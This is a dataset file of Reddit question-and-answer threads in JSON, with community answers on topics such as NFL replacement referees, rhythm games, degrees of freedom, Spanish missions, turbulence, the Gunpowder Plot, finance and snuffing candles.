{"q_id": "10flp6", "title": "the referee problem in the nfl.", "selftext": "I watch very little football, but I hear people around me constantly complaining about \"replacement referees\". What's going on with NFL officiating?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/10flp6/eli5_the_referee_problem_in_the_nfl/", "answers": {"a_id": ["c6d1qyp", "c6d332c", "c6d3f70", "c6d4m60", "c6d7do5", "c6db9bs"], "score": [103, 3, 11, 5, 22, 3], "text": ["the NFL referees are in a union. their contract is up, and it is time to renegotiate. the referees want a retirement plan. the NFL executives said no. furthermore, the NFL executives said 'until you agree to OUR terms, we will use replacement referees. so you better do as we say.\"\n\nthe replacement referees are not trained well, and not experienced enough. they are making lots and lots of mistakes in games, mistakes which are effecting the results.", "Is there a breakdown of the terms of what each side wants?", "_URL_0_\n\nTrading blows right in front of the ref. That **has**  to be illegal. How and why is the ref allowing it? I mean, this is not some obscure rule violation that nobody sees clearly, the two guys are straight out fighting!", "Literally came her to ask this, first thing I saw.", "Here's my comment in this [ELI5 thread](_URL_1_)\n\nThe replacement refs are licensed officials who normally work Division 2 and 3 college games, high school games and there's one guy from the Lingerie Football League. \n\n[Here](_URL_0_)'s a good article on why the officials are locked out.\n\nThe league has \"locked out\" the officials union from working over labor disputes. Here are the four main reasons:\n\nThe tl;dr version:\n\n1. Retirement benefits. The league promised to pay the officials a set amount after they retired. They now want to contribute to a retirement account instead. This would make retirement for the officials more risky and subject to changes in the stock market.\n\n2. Salary. The officials are currently paid about $150,000 a year and want an increase to $189,000 per year by 2016. You might argue that that's a lot of money for such little work, but looking at how the replacement refs are doing would show that this is a difficult, demanding job.\n\n\n3. Extra crews. There are currently 17 crews (one for each scheduled game and one alternate). The NFL wants to increase that number to 20 crews. The league argues this will increase the quality of officiating and help remove underperforming officials. The officials feel this will reduce their pay. Because their salary comes from a \"pool\", it necessarily will decrease their individual salaries unless this pool is increased.\n\n4. Full time officials. Currently the officials are part-time employees, and most have second jobs. The league wants to hire seven full time officials (one for each position) to help train and recruit other officials. 90% of the officials oppose this.", "Is there a possibility the players will get tired of the poor officiating and strike in solidarity with the refs?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.abload.de/img/untitled-13jsns.gif"], [], ["http://www.csmonitor.com/Business/2012/0921/NFL-referee-lockout-drags-on-4-issues-keeping-replacement-refs-on-the-field/Retirement-benefits", "http://www.reddit.com/r/explainlikeimfive/comments/10cwoe/eli5_what_these_replacement_refs_are_and_why_we/"], []]}
{"q_id": "2f8sne", "title": "why did rock band and guitar hero die? could they ever make a comeback?", "selftext": "Rock Band and Guitar Hero were some of my favorite games to play, because they were unholy amounts of fun. The setlists were great, the instruments were fun, and it was the perfect party game.\n\nBut why did it fail? Over saturation? Not enough creative ideas? The setlists weren't good enough? I don't know. I just feel like these games exploded so quickly and was snuffed out at an astounding rate. I just wanted to know what everyone else thought.\n\nAlso, another question; could it ever come back? Instruments are dirt cheap right now, as are the games.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2f8sne/eli5_why_did_rock_band_and_guitar_hero_die_could/", "answers": {"a_id": ["ck6y8z8", "ck6ye5h", "ck6yq9h", "ck6yrc7", "ck6zl1i", "ck6zwxr", "ck796um", "ck7dj4s"], "score": [67, 19, 8, 3, 2, 3, 2, 3], "text": [" > Why did Rock Band and Guitar Hero die? \n\nOverexposure. They made way too many titles, and people got tired of buying the same thing over and over.\n\n > Could they ever make a comeback?\n\nWhy couldn't they?", "Rocksmith is arguably better. Same concept, more features, and actual instruments that teach you how to play.", "Too many titles released in rapid succession I think. Plus when Rock Band 2 came out everyone played the absolute shit out of it until they were sick of it, and that's right about the time they released 3. I think eventually we will get Rock Band 4 but it won't be until Harmonix feels that the demand is back.", "As a big Guitar Hero fan, I always thought that getting rights for all these songs must be very expensive, making hard to get profit out of it. They could make it at first, when labels probably asked for less money and they could get more sales, but as the label fees increased and sales decreased, it became unsustainable.\n\nIt's just what I think, I don't have data to prove it.", "There's only so many things you can do with plastic instruments. Online for both games somehow got worse in iteration rather than better (Especially rock band 3). I'm pretty sure rock band green day was the tipping point. It just seems like a bad joke. The addition of adding the keyboard to rock band 3 made the soundtrack suffer IMO. The controllers were never the most sturdy, I had a closet full of broken toy guitars. Some of the guitar gameplay is rather odd as something simple on the real guitar could be a pain in guitar hero/rock band.", "They flooded the market way too fast with way too many games and expensive peripherals to play them.", "It was too narrow of an idea. There is nothing innovative after the initial excitement.  Will it come back? No, they already capitalized and there is nothing new to offer.  New songs with the same gameplay is not something new.", "So guitar hero, and rock band aren't really music games they're part of a genre called rhythm games. In which the player has execute button presses in time for when the game allows it. rhythm games are nothing new. Dance Dance revolution (DDR) and Elite beat agents are two examples that come immediately to mind. But what made guitar hero and rock band different is they moved away from punk/pop music and replaced it with more classic rock making the genre more sell able in america even though DDR had already been around for a while. Guitar hero also allows the player the extra step of immersion by giving you a roaring crowd and plastic guitar shaped controller. Rhythm games don't require too much programming, The game is essentially like 5 different videos with 45 different soundtracks laid out where you just have to press the arbitrary button sequences int he right order. \n\nNow from what i understand most game publishers make all their money during the first few months of a new release so to continue making money the keep releasing easy to program games. The market was beginning to become over saturated with the same games with just a different skins. So they began to specialize their soundtracks with specific artists thus shutting out anyone whom wasn't into that artist, as well this gave the consumer enough time to realize that they have in fact spent money time and time again on essentially the same game.\n\nthat's my over analyzation and theory on guitar hero collapse and demise."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "29wmef", "title": "[physics/chemistry] degrees of freedom", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29wmef/eli5_physicschemistry_degrees_of_freedom/", "answers": {"a_id": ["cip6rf9", "cip8ecf", "cip9n6b"], "score": [2, 15, 3], "text": ["Care to elaborate? What needs clarification?", "Degrees of freedom are basically all the ways a thing can move.  Imagine a square bead on a taught string.  It can slide all along that string, that's one degree of freedom.  It can also spin on its axis, that's another. So that bead on a string has 2 degrees of freedom.\n\nThere can be degrees of freedom in terms of movement through space, like sliding on a string, and then there's freedom in terms of rotation like spinning on an axis.  But rotational degrees only apply if the movement makes a meaningful change in orientation.  A monoatomic gas has 3 degrees of freedom because it can move freely through space (x, y, z).  It can rotate, but because it's symmetrical (being only a single atom, more or less a sphere), it doesn't really make a difference.  It looks exactly the same.  A diatomic gas has an extra atom.  It can move through space, but the extra atom means it does make a difference if it rotates.  Spinning on its axis doesn't change anything, but rotating it up or to the side changes its orientation.  EDIT: It can also stretch along its axis, like a bungee cord.  So it has three spacial degrees of freedom, two rotational degrees, and one longitudinal degree, for a total of six.\n\nEDIT: Thanks /u/pyrespirit for the correction.", "In most systems you can think of degrees of freedom as the minimum number of variables needed to describe the configuration of a system at any point in time (any more would be redundant and lead to impossible configurations), but *not* how that configuration is changing. For example:\n\n - **Point particle moving in two dimensions** (like sliding across a floor with no rotation: Two degrees of freedom, like angle and distance from the origin, or x znd y. Using all four would be redundant.\n\n - **Two point particles moving in two dimensions**: Four, two for each particle.\n\n - **Rigid body moving in two dimensions** (like a Roomba): Three. Two for the position and one for the rotation.\n\n - Rigid body moving and rotating in three dimensions**: Six. Three for the position (x, y, z), and three for the [Euler angles](_URL_0_) needed to specify the orientation.\n\nNote that I don't specify things like velocity or rotational speed or axis, since those relate to how the system is changing from the present configuration.\n\n[Some systems](_URL_1_) have fewer degrees of freedom than the number of variables needed to specify the state. The simplest example is a ball rolling on a floor without slipping or spinning. There are only two degrees of freedom -- it can roll in the x direction or the y direction or some combination of the two. But you need five variables to describe all possible states (the x and y position and the three Euler angles).\n\nIn such systems, you can determine some of the variables if you know the *path* that the system took from some previous configuration to the present one. With the ball, knowing the Euler angles and the starting position, after rolling in the x direction for 2 pi times the ball's radius, you know that the ball is now in the same configuration as it started. Same if you then roll the same distance in the y direction. But if you took a straight path (or 2 sqrt(2) pi times the radius along the line y=x), then you would be in a different configuration.\n\nSo in a nutshell, degrees of freedom are variables needed to describe infinitesimal changes to the configuration of a system, which typically but not always is the same thing as all the variables needed to specify the configuration."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Euler_angles", "http://en.wikipedia.org/wiki/Non-holonomic_system"]]}
{"q_id": "2acb7w", "title": "How did the Spanish Mission Towns in California and Mexico work?", "selftext": "How did they draw native attention? How did they teach? How were their locations chosen? Did their target audience change over time as new groups of people arrived?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2acb7w/how_did_the_spanish_mission_towns_in_california/", "answers": {"a_id": ["ciwgach"], "score": [8], "text": ["I am not as familiar with the mission towns of Mexico, but I can talk a little about the missions along the northern frontier of the Spanish Empire in modern-day Florida and New Mexico.\n\nAfter the excesses of cruelty seen in the initial years of contact, the 1573 Comprehensive Royal Orders for New Discoveries, placed missionaries at the forefront of exploration and pacification of new lands. Instead of valiant conquistadores rampaging into new territory, the Orders prohibited the entry of unlicensed entradas into new lands, and prohibited violence against Indians, under threat of fine or death. Entradas were to be led by conquistadores of the spirit, most often by the Franciscans along the northern frontier of the Empire, though Jesuits briefly established missions in Florida, as well as longer-lived missions among the Pima in southern Arizona. \n\nThe frontier missions obvious purpose was to provide a spiritual harvest for the Catholic faith, supported financially by the Spanish Crown. A secondary role was to provide an economically expensive, but vital, frontier presence against encroachment from other European nations, and protect interests further south. New Mexico and Texas provided a supportive buffer for the lucrative mining enterprises in Northern Mexico, and Florida provided a safe haven and support for ships crossing the Atlantic. Over the course of the 17th century, New Mexico cost the crown 2,390,000 pesos, while Florida cost three times as much. The colonies were worth the expense as it was thought missionaries could pacify lands at less cost, and with more lasting impact, than soldiers. Franciscans in New Mexico were given an annual lump-sum payment from the viceroy for purchases needed in the missions, and caravans of 32 oxcarts loaded with good arrived traveled the Camino Real up to New Mexico every three years. Florida was resupplied more often, but both colonies were poor frontier outposts on the northern extreme of an expansive empire.\n\nIn New Mexico along the Rio Grande and in Florida, the sedentary agricultural populations provided missions with an existing population base to proselytize and draw labor from to run the mission. Franciscans would integrate themselves into communities and engage Amerindian help in building conventos or churches. Between 1610 and 1630 Franciscans built 25 missions in Pueblo communities and established 4 missions among the Zuni by 1629. The Franciscans arrived in Florida in 1573, and one hundred years later a string of missions, organized into four mission provinces, stretched up the Georgia coast and along the northern frontier of Florida, into the panhandle. Though covering a wide geographic range, the pure number of missionaries operating in New Mexico and Florida was small and usually hovered at slightly less than 50 friars. In 1655 70 Franciscans ministered to 26,000 converts in Florida, and in the early 1600s Fray Alonso de Benavides claimed Franciscans baptized 86,000 Apache, Navajo, and Pueblo converts (likely an inflated figure).\n\nAt the initial entrada, Franciscans attempted to dazzle Native Americans with vestments, music, paintings, ceremonies, and win over the population with gifts of bells, beads, metal tools, food and clothing. Accepting gifts created a sense of obligation and reciprocity, creating at the very least a trading relationship and building confidence for future interactions. Once friaries or conventos were established in key populations centers (cabecera or head of the mission system), the friars extended their influence by touring through visitas in smaller, nearby communities. In 18th century Texas and California the absence of large permanent Native American population centers required a policy of reducciones, or \u201creducing\u201d dispersed natives into central towns before initiating spiritual instruction. Regardless of location, the friars attempted to build relationships with the Native American leadership as a way of winning over the lower class once their \u201cnatural lord\u201d converted, as well as directing teaching at children who were viewed to be more malleable than adults.\n\nAt the missions adults and children learned the basics of Catholic doctrine, prayers, hymns and answers to catechism. Franciscans attempted to learn Amerindian languages, and provide bilingual catechisms and confesionarios when possible. One example, a Castilian-Timucuan catechism and confessional from Florida, was published in Mexico City. These types of texts, which start to appear in 1612, constitute the earliest surviving texts of North American Indian language. Because Christian doctrine and Christian lifeways were linked in the Spanish mindset, new converts needed to \u201clive in a civilized manner, clothed and wearing shoes\u2026\u201d and were taught how to integrate European crops and animals into existing agricultural practices. Friars banned the corruptive influences of previous Native American religious traditions, including the ball game in Florida and kachinas in the pueblos. The friars also sought to protect mission populations from the corrupting influence of Spanish colonists and soldiers. By law, mission Indians could not travel to Hispanic towns, like St. Augustine or Santa Fe, without a pass and non-Indians could not live in, or spend more than 3 days, in Indian villages. Escaped neophytes would be hunted down, and corporal punishment was a common means of dealing with transgressions throughout the northern frontier for both Spanish and Native Americans. \n\nThe degree to which Native Americans adapted, re-interpreted, and modified the Spanish Catholic influence for their own purposes varied across the continent. In New Mexico, religious oppression forced the construction of kivas hidden under residential areas. There, outside the friar\u2019s influence, traditional religious practices could continue in place of, and often alongside, participation in Catholic rituals. The missions provided a small measure of support and protection from illegal Spanish slaving raids, or from other hostile Amerindian nations. The Pueblos hoped for Spanish help and protection against Apache and Ute raids, as the Apaches would later flock to missions for protection against Comanche raids, and throughout the greater Southwest all sought protection from slave raiders attempting to find new souls for the mines in Northern Mexico. Slaving raids out of English Carolina would eventually bring about the downfall of the Florida missions as the sedentary populations made easy prey for slavers who nearly depopulated the peninsula by the early 18th century. \n\nThe constant pressure between Native Americans and the Spanish friars, soldiers, and colonists permeated all relationships in the colonies. Native American populations always greatly outnumbered the Spanish presence, and could respond violently to oppression. Perpetual tensions surrounding the control of Indian labor in 17th century New Mexico eventually created a violent response. Franciscans used Pueblo laborers to till fields, build churches, tend livestock, and perform domestic chores around the mission. Spanish colonists, entrenched in the [encomienda](_URL_0_) system, tried to encroach on Pueblo land, and force the inhabitants to work their estates, pay tribute, and gather products for export south to Mexico. The tensions between the church and state over control of labor, as well as executing policy in the colony, exacerbated the smoldering hostilities between the Franciscans and Pueblo surrounding the continuation of native religious traditions. These tensions, combined with drought and the failure of the Spanish to protect the Pueblos from Apache raids, would eventually boil over to outright rebellion during the [1680 Pueblo Revolt](_URL_1_).\n\nFor more info check out\n\n*The Spanish Frontier in North America* by David Weber\n\n*The Early History of Greater Mexico* by Altman, Cline, and Pescador\n\n*Spain in the Southwest: A Narrative History of Colonial New Mexico, Arizona, Texas and California* by John Kessell\n\n*Pueblos, Spaniards, and the Kingdom of New Mexico* by John Kessel\n\n*Children of Coyote, Missionaries of Saint Francis: Indian-Spanish Relations in Colonial California, 1769-1850* by Steven Hackel"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Encomienda", "http://en.wikipedia.org/wiki/Pueblo_Revolt"]]}
{"q_id": "3w6mve", "title": "What is an everyday process or phenomenon that is still poorly understood?", "selftext": "For example, I have read that the coiling of viscous liquids while being poured is not well explained or predictable.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3w6mve/what_is_an_everyday_process_or_phenomenon_that_is/", "answers": {"a_id": ["cxtvpnt", "cxtwvqm", "cxtxsgo", "cxu2qxv", "cxu6avm", "cxuadmu", "cxuw13e"], "score": [32, 13, 3, 2, 2, 4, 3], "text": ["Turbulence in fluid flow. It happens every time the wind picks up, you take a deep breadth, wave, swim in a pool or stir your coffee. As Richard Feynman describes it,  \n\n > \u201cWell,\u201d you say, \u201cthere is nothing but air, and we know the equations of the motions of air.\u201d Yes we do. \u201cSo if we know the condition of air today, why can\u2019t we figure out the condition of the air tomorrow?\u201d First, we do not really know what the condition is today, because the air is swirling and twisting everywhere. It turns out to be very sensitive, and even unstable. If you have ever seen water run smoothly over a dam, and then turn into a large number of blobs and drops as it falls, you will understand what I mean by unstable. You know the condition of the water before it goes over the spillway; it is perfectly smooth; but the moment it begins to fall, where do the drops begin? What determines how big the lumps are going to be and where they will be? That is not known, because the water is unstable. Even a smooth moving mass of air, in going over a mountain turns into complex whirlpools and eddies. In many fields we find this situation of turbulent flow that we cannot analyze today. [...] That is the central problem which we ought to solve some day, and we have not. \n\n* _URL_1_  \n\nThere is an apocryphal quote that comes up a lot that sums up the difficulty quite well,  \n\n > \"When I meet God, I am going to ask him two questions: Why relativity? And why turbulence? I really believe he will have an answer for the first.\"  \n\n* Horace lamb and/or Werner Heisenberg  \n\nAlso here's a delightful essay at the problem on this forum post here,  \n\n* _URL_0_", "Sleep and dreaming are still an enigma, but there are some pretty solid theories as to why we sleep and what dreaming accomplishes. Still though, not very understood considering its something every person does every single night", "Since I was thinking about this in another post, I will say [heat transfer](_URL_2_), which connects to your comment. Ever wonder why a turkey is so much trickier to cook than a chicken? Well, in a relatively solid object like a chicken or turkey heat is transferring internally by diffusion, and the [mean square distance](_URL_1_) something diffuses scales linearly with time. So if I make a chicken twice as big, it takes roughly 4 times as long for the interior to reach the right temperature. In the meantime, the outside of the turkey is getting overcooked and dry.\n\nEver wonder why dinosaurs were so much larger than most land mammals? There are several reasons, but one problem is that mammals have a higher metabolism. Now, internally they can transfer heat around pretty efficiently thanks to their blood. But they still need to lose that heat through their skin. Because your surface area goes as r^2 but your volume of heat generating cells goes as r^3, a bigger animal has more trouble dumping heat than a smaller one. A land mammal that got as large as a [Argentinosaurus](_URL_4_) would cook themselves to death unless they could drastically lower their metabolism. On the other hand, in the cold water heat transfer is much more efficient and you get blue whales.\n\nHeat transfer affects us everyday but is poorly understood by most people. Some concepts are pretty easy to teach, but it can also lead to some complicated dynamics that are very hard for us to predict. The [Mpemba effect](_URL_3_) is the name given for the general idea that hot water can cool and/or freeze faster in a refrigerator. This can be explained in part by supercooling. But it can also be caused by increased convection currents that get started in hot water, allowing heat transfer to proceed more efficiently than when you have to wait for diffusion. The Royal Society of Chemistry had a contest for the best explanation of the Mpemba effect, and the [winning entry](_URL_0_) shows that warmer water really does get to 0 C faster than cooler water under controlled conditions (see fig. 1). This is a very counterintuitive result, even if you have a pretty good grasp of how heat transfer works. The reason it is so hard to predict in this case is because heat transfer by convection requires you to understand fluid dynamics, and as u/AsAChemicalEngineer points out fluid flow is usually hard to model. So maybe would should file this one as a sub-entry under a general category of fluid dynamics.", "Pretty much everything beyond the most superficial level about how the mind works.\n\nEssentially,  the  \"[Hard Problem of Consciousness](_URL_0_)\".\n\n", "Friction. The actual *causes* of friction are complicated, and not completely understood, even though the effect has a tendency to be simple (you learn it in first semester freshman physics). It can be caused by rough surfaces, but even atomically smooth surfaces still have some friction. There's definitely a quantum mechanical effect taking place, and there is evidence that shows the absence or presence of a few random hydrocarbons between the surfaces can have a huge effect.", "\"Explained\" and \"Predictable\" are entirely different things.  Many everyday phenomena are governed by equations that exhibit \"chaos\".  In general, if one knows the equations that govern a system one would think, naively, that one then needs to simply input the initial conditions of the system and use the equations and then one can predict all future states of the system.  This is sadly not true,  in \"chaotic\" equations the system is EXTREMELY sensitive to the initial conditions, thus two different systems with almost (but not completely) identical starting positions when propagated forward in time will quickly becomes extraordinarily dissimilar.  This is chaos. (I'd look up something like an applet for a Lorenz Attractor to see this in action yourself).  Thus. in such systems, having the equations that govern it (i.e. having it explained) is not enough to make predictions unless one has knowledge of the initial conditions to infinite precision and accuracy (which one never will).  Thus they are unpredictable.  \n\nConversely, when new phenomena are discovered often the first attempt is to develop a PHENOMENOLOGICAL model (i.e. a mathematical model with no conceptual justification but that matches data).  Later theory tends to fill in the gap and demonstrate how that original model can be derived from a more concrete mathematical and conceptual framework.  However, until that time one could very easily have a good model of PREDICTION but not one of EXPLANATION.  This is for example what thermodynamics is (statistical mechanics is the \"explanatory\" theory) or the Landau-Ginzburg equation of superconductivity (\"Bardeen-Cooper-Schrafer Theory\" is the \"explanatory theory\") and so on.", "Turbulence in fluid flow is a good example. You experience it all the time: When you stir you coffee, drive a car, watch a waterfall, etc. It is clear, that it arises from the non-linearity of the Navier-Stokes equation. However, it is very difficult in mathematical terms. Therefore, turbulence is explained, but not predictable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://physics.stackexchange.com/a/15965", "http://www.feynmanlectures.caltech.edu/I_03.html"], [], ["http://www.rsc.org/images/nikola-bregovic-entry_tcm18-225169.pdf", "https://en.wikipedia.org/wiki/Mean_squared_displacement", "https://en.wikipedia.org/wiki/Heat_transfer", "https://en.wikipedia.org/wiki/Mpemba_effect", "https://en.wikipedia.org/wiki/Argentinosaurus"], ["https://en.wikipedia.org/wiki/Hard_problem_of_consciousness"], [], [], []]}
{"q_id": "44t19h", "title": "Was there a nationalist movement in Albania in the early 1900s like there was in Serbia and Austria-Hungary?", "selftext": "In school we studied many other nationalist movements but I don't remember ever talking about an Albanian movement to create their own nation. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/44t19h/was_there_a_nationalist_movement_in_albania_in/", "answers": {"a_id": ["czsorqz"], "score": [4], "text": ["I've written about the formation of an Albanian national identity before, so will [link it here](_URL_0_). But the short answer is not really, it kind of happened by accident. Albania largely wanted to stay part of the Ottoman Empire, though with autonomy, but was a victim of Great Power politics."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/1f2pzu/why_do_we_know_so_little_about_the_ancient_and/ca6cwl7"]]}
{"q_id": "4xl464", "title": "why can the skin on our tongues be constantly wet without taking damage, unlike the skin on our body?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4xl464/eli5_why_can_the_skin_on_our_tongues_be/", "answers": {"a_id": ["d6gbpru"], "score": [46], "text": ["The tongue is not covered with skin. Instead, it's covered with *mucosa* also called *mucous membrane* which is suitable for wet conditions.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Mucous_membrane"]]}
{"q_id": "f7vqxk", "title": "how does touching your face, e.g scratching your chin, putting your fingers to your temples, help you think?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f7vqxk/eli5_how_does_touching_your_face_eg_scratching/", "answers": {"a_id": ["fift6ps"], "score": [3], "text": ["It helps *some* people think. Grounding yourself and bringing your thoughts away from external input can help you think more clearly. We all have different methods for this and chin scratching or touching your temple are examples of those methods."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "199j3u", "title": "How accurate is it that the Jesuits were involved in the gunpowder plot?", "selftext": "Saw an interesting documentary the other day where they said that the Catholics tried several times to infiltrate England and become the main religion. Since the monarchy was Protestant the Jesuits used Guy Fawkes to attempt to kill the monarchy so that in the chaos, Catholicism would gain power.\n\nSince i can find quite a few sources on that, if true, how aware/involved would the pope have been and how dangerous were the Jesuits as a whole? From what i read they were also skilled at assassination and converting people to Catholicism using various 'ways'. And lastly how (if so) has their roles changed in this day and age?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/199j3u/how_accurate_is_it_that_the_jesuits_were_involved/", "answers": {"a_id": ["c8m15ze", "c8m4d45"], "score": [3, 6], "text": ["I've just finished studying chapters on the move between Catholicism and Protestantism in England so I might be able to help a bit. \n\nThe premise of the question doesn't quite work, in that Catholicism was the dominant religion in England basically up until the Reformation sparked by Henry VIII and his split from Rome. There's a great passage by a man called Roger Martyn from Long Melford Church in Suffolk talking about his religious rituals of the year, and it's a very specifically 'Catholic' tone in that it talks about ritual processions and particularly Catholic art and relics in the church such as rood lofts. \n\nEven then, Protestantism didn't really take hold until Edward VI and Archbishop Cramner's Protestant prayerbook in 1549. Mary I pushed back for Catholicism when she came to power (poor old Cranmer was burned at the stake), and then Elizabeth I came along, who was Protestant but more of a uniformist politician than a fervent supporter like her sister. It was only under Elizabeth's rule that Protestantism was solidified as the religion of the Church of England with the Act of Uniformity and the Thirty Nine Articles, but essentially it still held some Catholic core. In fact Richard Hooker (1554-1600) argued that the Church of England was actually still a renamed version of the pre-Reformation Catholic Church. \n\nBy the time the Gunpowder Plot came along in 1605, England had already seen Foxe's Book of Martyrs in 1563 and the invasion of the Spanish Armada in 1588, so anti-Catholic tensions were running high already and splinter groups like Jesuits and other Catholic conspirators took advantage of that to do things like the Gunpowder Plot.\n\nI'm sure someone more knowledgeable about Jesuits will be able to come along and give you more specific information, but I'd make the argument that the Jesuits were more about pushing back to return to more Catholic worship that 'infiltrate' it in the first place. \n\n(Source; John Wolffe, Open University course AA100 textbook 'Tradition and Dissent in English Christianity', 2008). ", "Before I answer your specific questions it's important to provide some context so that you will not take the language used by Protestants at face value.\n\nThe English Reformation is an extremely studied subject that took decades-- it's impossible to tell you everything important here.  But what's important to know for the purposes of this answer is that religious conflict is also political conflict.  Henry VIII initiates the English Reformation in pursuit of political aims (his remarriage, monastic lands,) and when Mary was persecuting Protestants it was occurring in the context of her struggle against the Protestants who had surrounded her predecessor Edward VI and tried to ensure she wouldn't accede the throne.  It is of the utmost importance to keep this in mind when considering 'religious conflict' in the 16th and 17th centuries.\n\nThis political dimension is international as well as domestic.  Everyone knows about the Armada and England's long-running conflict with Catholic Spain, but Protestant contemporaries were looking at the repression of the Dutch Protestants by the (Spanish) Hapsburgs and are worried that the same thing might happen in England.   \n\nTo your typical English Protestant with protonationalist tendencies Catholicism is perceived as an immense and imminent threat because of those above factors.  Protestant writing about Catholicism should always be viewed through that critical lens; I mean with the recognizance that there is a prevailing combination of fear and hostility that can swell into hysteria and that parties always have propagandistic considerations.\n\nThis understood, we can recognize quickly that the Protestant imagination of Jesuits as impossibly effective, inscrutable, and malicious agents of Catholic power who are always on the verge of overthrowing the state owes more to fantasy than reality.  The Jesuits never were the secret shock troops of the Papacy.  \n\nA good comparison would be to fear of Communism in the U.S.: while there are definitely communist infiltrators in western governments (e.g. Cambridge 5) those infiltrators are far less common than is feared and the vast majority of American communists have nothing to do with then, and the vast majority of American communist activities are not those that provoke the hysterical reaction (i.e. organizing as opposed to espionage)\n\nThe reality of Catholicism in England circa 1600 is similar to what I outlined with Communism.  There are truly a small number of English Catholics, some of whom are Jesuit, who are committed to anti-government violence.  They are not however, lurking in the house of every English Catholic, which was the hysterical belief underlying things like recusancy laws.  Further, Jesuits in England in almost all instances aren't spending their time plotting and carrying out assassinations-- they're attempting to remain in hiding.  Catholicism requires a Priest to say Mass, which means that persecuted Catholics must conceal illegal priests if they want to practice their faith.  Look up 'priest hole'-- this is much more indicative of what Catholic clergy were doing in England than the Protestant legends I've explained here."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1wp05f", "title": "what is finance?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1wp05f/eli5what_is_finance/", "answers": {"a_id": ["cf42qha", "cf42sn1", "cf43qzd"], "score": [2, 3, 2], "text": ["It's the art/study/\"science\" of money: what money is, what you can do with it, how it moves and changes, and, especially, how you can get more of it. Note that this isn't the same thing as economics, which is the study of how people exchange value...economic exchanges are often done with money but don't have to be. ", "Finance is a discipline that studies the monetary value of rights (assets) and obligations (liabilities). In particular, it studies how time and risk affect the pricing of those assets.\n\nIt is also the pratice of managing those assets. In that regard, it encompasses two diferent (and, for the most part, independent) components: the investing decision (i.e. what assets to buy?), and the financing decision (i.e. what liabilities to assume).", "Finance is, to distinguish it from accounting, forward looking, while accounting is backward looking. It is the art, certainly not the science, of projecting what might happen in the future and making decisions based on those projections.\n\nSome things in Finance seem certain: the value of cash flows in or out at a specified interest rate, for example. But they are all heavily dependent on your assumptions of interest in the future and the certainty of those cash flows. Guesswork in both cases. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4ou6n1", "title": "how can i put out a candle with my fingers, without burning them?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ou6n1/eli5_how_can_i_put_out_a_candle_with_my_fingers/", "answers": {"a_id": ["d4fl7dq", "d4fl8qw", "d4flb6a", "d4fo4p3", "d4fs78a", "d4ftigq", "d4fwyms", "d4gi8l1"], "score": [3, 2, 19, 5, 22, 2, 4, 2], "text": ["Heat transfer takes time, if you take a long time to put the candle out with your fingers you'll get burned.", "There's moisture on your finger tips when you do this. It's acts like a protective shield for a very short time (it eventually evaporates due to the heat).", "Wet your fingers first.\n\nBut ultimately the trick is to make sure you're not exposed to the flame very long so all you feel is warmth. \n\nIf you can quickly and completely cover the bottom of the flame, you can put it out without burning your fingers.", "To get a burn you have to heat skin, especially living skin to a certain temperature. If you snuff out a candle with your fingers, the small mass of the wick has only a small amount of time to transfer it's energy to your skin.  The moisture on your skin can absorb a relatively large amount of energy before it evaporates. If you do it quickly, it does not have the time or the energy to heat up enough skin to burn you.", "I tried this once at my brother in laws wedding. The candle wick stuck to my finger and fell on the paper table cloth, which started to smolder. Acting quickly I dumped my drink on it. My wife I were just married a month earlier. She was so proud of her new husband.", "The \"wet finger trick\" works great. If you're careful you can put out small candlelights with your moist palm by cutting off the oxygen, but it's usually a very close call and rather stupid. ", "This scene from Lawrence of Arabia should explain everything.\n_URL_0_\n\n >  The trick is not minding that it hurts", "I dip my two fingers in the melted wax and snuff out the wick. Then the wick doesn't keep burning, stays preserved, and is easy to light the next time. It don't burn your fingers, but it's warm."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://www.youtube.com/watch?v=TvQViPBAvPk"], []]}
